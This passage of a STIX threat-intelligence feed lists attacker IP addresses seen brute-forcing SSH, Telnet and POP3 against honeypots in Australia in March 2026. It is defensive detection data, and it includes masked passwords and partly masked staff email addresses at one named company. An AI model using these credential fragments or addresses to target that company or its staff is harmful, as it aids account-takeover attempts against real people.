      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): j*b@bardengineering.com. Passwords observed (masked): b*****************@.",
      "id": "indicator--558d6aad-9a14-4daa-ba87-48b9ee4bf55c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): b*****g@bardengineering.com. Passwords observed (masked): b*****************3.",
      "id": "indicator--d630559e-277e-4637-8b86-b80274941e0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): n******y@bardengineering.com. Passwords observed (masked): b******************4.",
      "id": "indicator--2b9f272b-bd0d-4079-a1d9-e7e82d24ff0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): a***e@bardengineering.com. Passwords observed (masked): b*****************5.",
      "id": "indicator--b0ff6eba-df5e-48ba-8409-de2e4cf3f352",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): c********s@bardengineering.com. Passwords observed (masked): b******************6.",
      "id": "indicator--17ae3b3e-1663-4cad-a0c9-f7047a17ac04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): **@bardengineering.com. Passwords observed (masked): B*************g.",
      "id": "indicator--5ddff0d1-278e-4168-899c-e87b09c8bcaf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): c********s@bardengineering.com. Passwords observed (masked): B******************4.",
      "id": "indicator--b6c16c95-137d-4d73-8158-f3a3b8948083",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): b*****g@bardengineering.com. Passwords observed (masked): b******************@.",
      "id": "indicator--65752d5c-6aa2-462a-875d-442c404e8097",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): w*******r@bardengineering.com. Passwords observed (masked): b******************4.",
      "id": "indicator--064f3026-b2d4-49cf-9b62-94a6eb2d6481",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): n***********s@bardengineering.com. Passwords observed (masked): B******************@.",
      "id": "indicator--715fee5c-6a69-487d-a5c6-57cee59a734d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): i******s@bardengineering.com. Passwords observed (masked): B******************6.",
      "id": "indicator--a4927a2d-76d0-4004-8a03-056db79eaea9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): s*****t@bardengineering.com. Passwords observed (masked): B******************6.",
      "id": "indicator--2feb03c1-6c1c-4610-8a80-922ea45a62f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): s***s@bardengineering.com. Passwords observed (masked): b*****************6.",
      "id": "indicator--ea122dfa-2dcd-4f1f-943f-df963efb380c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): n***********s@bardengineering.com. Passwords observed (masked): B*************g.",
      "id": "indicator--b4d3d768-4271-4204-a45c-286458a89cef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 276. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******0, 1********1, B**********C.",
      "id": "indicator--22848521-3fb9-4bef-ad44-fd2334b6a1dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '211.106.133.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL. Usernames observed (masked): f*****e@bardengineering.com. Passwords observed (masked): B******************@.",
      "id": "indicator--0b56cdd1-4767-4d26-8810-13b906602302",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.177.179.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL. Usernames observed (masked): p*****y@bardengineering.com. Passwords observed (masked): B*****************4.",
      "id": "indicator--22b5d436-40b1-49eb-8505-eaaacb0b1049",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.177.179.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL. Usernames observed (masked): s***s@bardengineering.com. Passwords observed (masked): B*****************5.",
      "id": "indicator--a6666363-66b7-4f11-b308-f176c2ecd238",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.177.179.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): p********r@bardengineering.com. Passwords observed (masked): b*************g.",
      "id": "indicator--e1376428-1df2-4dc1-b7cf-5bfc2be47211",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '50.6.249.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): *, **, r**t.",
      "id": "indicator--c92d48bf-cae2-45c9-bad4-9bf27ff3d144",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.226.84.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3676. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 2******0, 2*******1, 2****5, 2****8, 2****0.",
      "id": "indicator--33671782-4db7-4211-8708-d1920157a9ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.227.129.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): s***s@bardengineering.com. Passwords observed (masked): b*****************3.",
      "id": "indicator--8f6187b0-0db0-4d19-ae63-5d1c5e7b84f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): o****e@bardengineering.com. Passwords observed (masked): B****************3.",
      "id": "indicator--a97ac6e5-74a8-4d80-bfdd-11faf08e5f3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): h***o@bardengineering.com. Passwords observed (masked): B*****************5.",
      "id": "indicator--c597b485-7d54-4e75-a332-cad12da14a11",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): b*****g@bardengineering.com. Passwords observed (masked): B******************@.",
      "id": "indicator--3b897ac3-c33f-42b1-a867-12e59e2a6b4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 23674. Organisation(s): Nayatel Pvt Ltd.",
      "id": "indicator--64a03e2e-5c19-4e5c-9186-f506b8b6b983",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.186.185.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--77197f8a-dc07-4e3c-937a-b7be4b2a0caa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.223.0.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): a******s@bardengineering.com. Passwords observed (masked): b******************6.",
      "id": "indicator--240c1c40-5f29-45ea-8a2b-93406ed94a4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): p******s@bardengineering.com. Passwords observed (masked): B******************@.",
      "id": "indicator--3a051a6e-dc2c-4b3a-88cd-0dfd992eb7ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): e****s@bardengineering.com, p*****y@bardengineering.com. Passwords observed (masked): B******************6, b******************4.",
      "id": "indicator--2f6ca1b1-b2ea-4357-bd3b-233923af095a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): c********s@bardengineering.com. Passwords observed (masked): b******************@.",
      "id": "indicator--612b6ae8-0085-45a2-81ae-fc3424877cdc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): c*o@bardengineering.com. Passwords observed (masked): b*****************5.",
      "id": "indicator--8224556a-df84-48f5-a8db-6ebffe33ee19",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): c*o@bardengineering.com. Passwords observed (masked): b*****************3.",
      "id": "indicator--fb9bcbd0-5642-4551-83bf-27d0b6bfa57f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): o****e@bardengineering.com. Passwords observed (masked): b*****************6.",
      "id": "indicator--92c04d0e-419d-4064-b627-503a3b35c368",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
